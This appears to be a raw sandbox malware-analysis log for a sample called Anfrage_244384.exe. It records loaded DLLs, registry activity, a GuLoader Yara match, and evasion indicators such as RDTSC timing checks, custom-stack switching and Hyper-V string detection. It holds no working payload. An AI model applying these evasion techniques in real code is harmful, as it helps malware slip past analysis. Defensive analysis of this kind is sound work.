      Source: C:\Users\user\Desktop\Anfrage_244384.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: Anfrage_244384.exeReversingLabs: Detection: 15%
      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile read: C:\Users\user\Desktop\Anfrage_244384.exeJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\Anfrage_244384.exe "C:\Users\user\Desktop\Anfrage_244384.exe"
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess created: C:\Users\user\Desktop\Anfrage_244384.exe "C:\Users\user\Desktop\Anfrage_244384.exe"
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess created: C:\Users\user\Desktop\Anfrage_244384.exe "C:\Users\user\Desktop\Anfrage_244384.exe"Jump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: oleacc.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: shfolder.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: riched20.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: usp10.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: msls31.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: textinputframework.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: coreuicomponents.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: coremessaging.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: powrprof.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wkscli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: umpdc.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: winnsi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: schannel.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: mskeyprotect.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: ntasn1.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: dpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: ncrypt.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeSection loaded: ncryptsslp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
      Source: Anfrage_244384.exeStatic file information: File size 1240824 > 1048576
      Source: Anfrage_244384.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: mshtml.pdb source: Anfrage_244384.exe, 00000005.00000001.1973135397.0000000000649000.00000020.00000001.01000000.00000007.sdmp
      Source: Binary string: wntdll.pdbUGP source: Anfrage_244384.exe, 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000003.2364363349.00000000342E1000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000003.2366829406.0000000034490000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: wntdll.pdb source: Anfrage_244384.exe, Anfrage_244384.exe, 00000005.00000002.2738210193.00000000347DE000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000002.2738210193.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000003.2364363349.00000000342E1000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000003.2366829406.0000000034490000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: mshtml.pdbUGP source: Anfrage_244384.exe, 00000005.00000001.1973135397.0000000000649000.00000020.00000001.01000000.00000007.sdmp

      Data Obfuscation

      barindex
      Yara detected GuLoader
      Source: Yara matchFile source: 00000000.00000002.1980580817.00000000048C3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,0_2_10001A5D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_10002D20 push eax; ret 0_2_10002D4E
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346709AD push ecx; mov dword ptr [esp], ecx5_2_346709B6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeFile created: C:\Users\user\AppData\Local\Temp\nsd5416.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\Anfrage_244384.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdateJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Anfrage_244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

      Malware Analysis System Evasion

      barindex
      Switches to a custom stack to bypass stack traces
      Source: C:\Users\user\Desktop\Anfrage_244384.exeAPI/Special instruction interceptor: Address: 4BD02F6
      Source: C:\Users\user\Desktop\Anfrage_244384.exeAPI/Special instruction interceptor: Address: 38D02F6
      Tries to detect virtualization through RDTSC time measurements
      Source: C:\Users\user\Desktop\Anfrage_244384.exeRDTSC instruction interceptor: First address: 4B93731 second address: 4B93731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD81CF5A41Bh 0x00000004 test bh, ah 0x00000006 cmp ebx, ecx 0x00000008 jc 00007FD81CF5A3F5h 0x0000000a test dl, bl 0x0000000c inc ebp 0x0000000d test edx, 1E38E0C7h 0x00000013 inc ebx 0x00000014 rdtsc
      Source: C:\Users\user\Desktop\Anfrage_244384.exeRDTSC instruction interceptor: First address: 3893731 second address: 3893731 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD81C71B3DBh 0x00000004 test bh, ah 0x00000006 cmp ebx, ecx 0x00000008 jc 00007FD81C71B3B5h 0x0000000a test dl, bl 0x0000000c inc ebp 0x0000000d test edx, 1E38E0C7h 0x00000013 inc ebx 0x00000014 rdtsc
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ED1C0 rdtsc 5_2_346ED1C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsd5416.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\Anfrage_244384.exeAPI coverage: 0.1 %
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_00405665 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_00405665
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_0040270B FindFirstFileA,0_2_0040270B
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_004060C7 FindFirstFileA,FindClose,0_2_004060C7
      Source: Anfrage_244384.exe, 00000005.00000003.2364916055.00000000045ED000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000003.2364734954.00000000045ED000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000002.2710632001.0000000004588000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000002.2710708625.00000000045ED000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
      Source: Anfrage_244384.exe, 00000005.00000003.2364916055.00000000045ED000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000003.2364734954.00000000045ED000.00000004.00000020.00020000.00000000.sdmp, Anfrage_244384.exe, 00000005.00000002.2710708625.00000000045ED000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWoy
      Source: C:\Users\user\Desktop\Anfrage_244384.exeAPI call chain: ExitProcess graph end nodegraph_0-3753
      Source: C:\Users\user\Desktop\Anfrage_244384.exeAPI call chain: ExitProcess graph end nodegraph_0-3939
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ED1C0 rdtsc 5_2_346ED1C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346B35C0 NtCreateMutant,LdrInitializeThunk,5_2_346B35C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,0_2_10001A5D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34671460 mov eax, dword ptr fs:[00000030h]5_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34671460 mov eax, dword ptr fs:[00000030h]5_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34671460 mov eax, dword ptr fs:[00000030h]5_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34671460 mov eax, dword ptr fs:[00000030h]5_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34671460 mov eax, dword ptr fs:[00000030h]5_2_34671460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468F460 mov eax, dword ptr fs:[00000030h]5_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468F460 mov eax, dword ptr fs:[00000030h]5_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468F460 mov eax, dword ptr fs:[00000030h]5_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468F460 mov eax, dword ptr fs:[00000030h]5_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468F460 mov eax, dword ptr fs:[00000030h]5_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3468F460 mov eax, dword ptr fs:[00000030h]5_2_3468F460
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3474547F mov eax, dword ptr fs:[00000030h]5_2_3474547F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472F453 mov eax, dword ptr fs:[00000030h]5_2_3472F453
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471B450 mov eax, dword ptr fs:[00000030h]5_2_3471B450
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471B450 mov eax, dword ptr fs:[00000030h]5_2_3471B450
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471B450 mov eax, dword ptr fs:[00000030h]5_2_3471B450
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471B450 mov eax, dword ptr fs:[00000030h]5_2_3471B450
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B440 mov eax, dword ptr fs:[00000030h]5_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B440 mov eax, dword ptr fs:[00000030h]5_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B440 mov eax, dword ptr fs:[00000030h]5_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B440 mov eax, dword ptr fs:[00000030h]5_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B440 mov eax, dword ptr fs:[00000030h]5_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467B440 mov eax, dword ptr fs:[00000030h]5_2_3467B440
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469340D mov eax, dword ptr fs:[00000030h]5_2_3469340D
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346F7410 mov eax, dword ptr fs:[00000030h]5_2_346F7410
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347194E0 mov eax, dword ptr fs:[00000030h]5_2_347194E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347454DB mov eax, dword ptr fs:[00000030h]5_2_347454DB
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346674B0 mov eax, dword ptr fs:[00000030h]5_2_346674B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346674B0 mov eax, dword ptr fs:[00000030h]5_2_346674B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A34B0 mov eax, dword ptr fs:[00000030h]5_2_346A34B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34679486 mov eax, dword ptr fs:[00000030h]5_2_34679486
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34679486 mov eax, dword ptr fs:[00000030h]5_2_34679486
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B480 mov eax, dword ptr fs:[00000030h]5_2_3466B480
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466B562 mov eax, dword ptr fs:[00000030h]5_2_3466B562
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346AB570 mov eax, dword ptr fs:[00000030h]5_2_346AB570
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346AB570 mov eax, dword ptr fs:[00000030h]5_2_346AB570
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471B550 mov eax, dword ptr fs:[00000030h]5_2_3471B550
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471B550 mov eax, dword ptr fs:[00000030h]5_2_3471B550
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471B550 mov eax, dword ptr fs:[00000030h]5_2_3471B550
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34745537 mov eax, dword ptr fs:[00000030h]5_2_34745537
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467D534 mov eax, dword ptr fs:[00000030h]5_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467D534 mov eax, dword ptr fs:[00000030h]5_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467D534 mov eax, dword ptr fs:[00000030h]5_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467D534 mov eax, dword ptr fs:[00000030h]5_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467D534 mov eax, dword ptr fs:[00000030h]5_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3467D534 mov eax, dword ptr fs:[00000030h]5_2_3467D534
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471F525 mov eax, dword ptr fs:[00000030h]5_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471F525 mov eax, dword ptr fs:[00000030h]5_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471F525 mov eax, dword ptr fs:[00000030h]5_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471F525 mov eax, dword ptr fs:[00000030h]5_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471F525 mov eax, dword ptr fs:[00000030h]5_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471F525 mov eax, dword ptr fs:[00000030h]5_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3471F525 mov eax, dword ptr fs:[00000030h]5_2_3471F525
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346AD530 mov eax, dword ptr fs:[00000030h]5_2_346AD530
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346AD530 mov eax, dword ptr fs:[00000030h]5_2_346AD530
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472B52F mov eax, dword ptr fs:[00000030h]5_2_3472B52F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A7505 mov eax, dword ptr fs:[00000030h]5_2_346A7505
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A7505 mov ecx, dword ptr fs:[00000030h]5_2_346A7505
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346915F4 mov eax, dword ptr fs:[00000030h]5_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346915F4 mov eax, dword ptr fs:[00000030h]5_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346915F4 mov eax, dword ptr fs:[00000030h]5_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346915F4 mov eax, dword ptr fs:[00000030h]5_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346915F4 mov eax, dword ptr fs:[00000030h]5_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346915F4 mov eax, dword ptr fs:[00000030h]5_2_346915F4
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347435D7 mov eax, dword ptr fs:[00000030h]5_2_347435D7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347435D7 mov eax, dword ptr fs:[00000030h]5_2_347435D7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347435D7 mov eax, dword ptr fs:[00000030h]5_2_347435D7
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A55C0 mov eax, dword ptr fs:[00000030h]5_2_346A55C0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346995DA mov eax, dword ptr fs:[00000030h]5_2_346995DA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347455C9 mov eax, dword ptr fs:[00000030h]5_2_347455C9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ED5D0 mov eax, dword ptr fs:[00000030h]5_2_346ED5D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346ED5D0 mov ecx, dword ptr fs:[00000030h]5_2_346ED5D0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346915A9 mov eax, dword ptr fs:[00000030h]5_2_346915A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346915A9 mov eax, dword ptr fs:[00000030h]5_2_346915A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346915A9 mov eax, dword ptr fs:[00000030h]5_2_346915A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346915A9 mov eax, dword ptr fs:[00000030h]5_2_346915A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346915A9 mov eax, dword ptr fs:[00000030h]5_2_346915A9
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3470D5B0 mov eax, dword ptr fs:[00000030h]5_2_3470D5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3470D5B0 mov eax, dword ptr fs:[00000030h]5_2_3470D5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347035BA mov eax, dword ptr fs:[00000030h]5_2_347035BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347035BA mov eax, dword ptr fs:[00000030h]5_2_347035BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347035BA mov eax, dword ptr fs:[00000030h]5_2_347035BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_347035BA mov eax, dword ptr fs:[00000030h]5_2_347035BA
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472F5BE mov eax, dword ptr fs:[00000030h]5_2_3472F5BE
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F5B0 mov eax, dword ptr fs:[00000030h]5_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F5B0 mov eax, dword ptr fs:[00000030h]5_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F5B0 mov eax, dword ptr fs:[00000030h]5_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F5B0 mov eax, dword ptr fs:[00000030h]5_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F5B0 mov eax, dword ptr fs:[00000030h]5_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F5B0 mov eax, dword ptr fs:[00000030h]5_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F5B0 mov eax, dword ptr fs:[00000030h]5_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F5B0 mov eax, dword ptr fs:[00000030h]5_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469F5B0 mov eax, dword ptr fs:[00000030h]5_2_3469F5B0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466758F mov eax, dword ptr fs:[00000030h]5_2_3466758F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466758F mov eax, dword ptr fs:[00000030h]5_2_3466758F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466758F mov eax, dword ptr fs:[00000030h]5_2_3466758F
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FB594 mov eax, dword ptr fs:[00000030h]5_2_346FB594
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346FB594 mov eax, dword ptr fs:[00000030h]5_2_346FB594
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A9660 mov eax, dword ptr fs:[00000030h]5_2_346A9660
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A9660 mov eax, dword ptr fs:[00000030h]5_2_346A9660
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3470D660 mov eax, dword ptr fs:[00000030h]5_2_3470D660
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F626 mov eax, dword ptr fs:[00000030h]5_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F626 mov eax, dword ptr fs:[00000030h]5_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F626 mov eax, dword ptr fs:[00000030h]5_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F626 mov eax, dword ptr fs:[00000030h]5_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F626 mov eax, dword ptr fs:[00000030h]5_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F626 mov eax, dword ptr fs:[00000030h]5_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F626 mov eax, dword ptr fs:[00000030h]5_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F626 mov eax, dword ptr fs:[00000030h]5_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3466F626 mov eax, dword ptr fs:[00000030h]5_2_3466F626
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34745636 mov eax, dword ptr fs:[00000030h]5_2_34745636
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346AF603 mov eax, dword ptr fs:[00000030h]5_2_346AF603
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A1607 mov eax, dword ptr fs:[00000030h]5_2_346A1607
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34673616 mov eax, dword ptr fs:[00000030h]5_2_34673616
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_34673616 mov eax, dword ptr fs:[00000030h]5_2_34673616
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3472D6F0 mov eax, dword ptr fs:[00000030h]5_2_3472D6F0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_346A36EF mov eax, dword ptr fs:[00000030h]5_2_346A36EF
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469D6E0 mov eax, dword ptr fs:[00000030h]5_2_3469D6E0
      Source: C:\Users\user\Desktop\Anfrage_244384.exeCode function: 5_2_3469D6E0 mov eax, dword ptr fs:[00000030h]5_2_3469D6E0
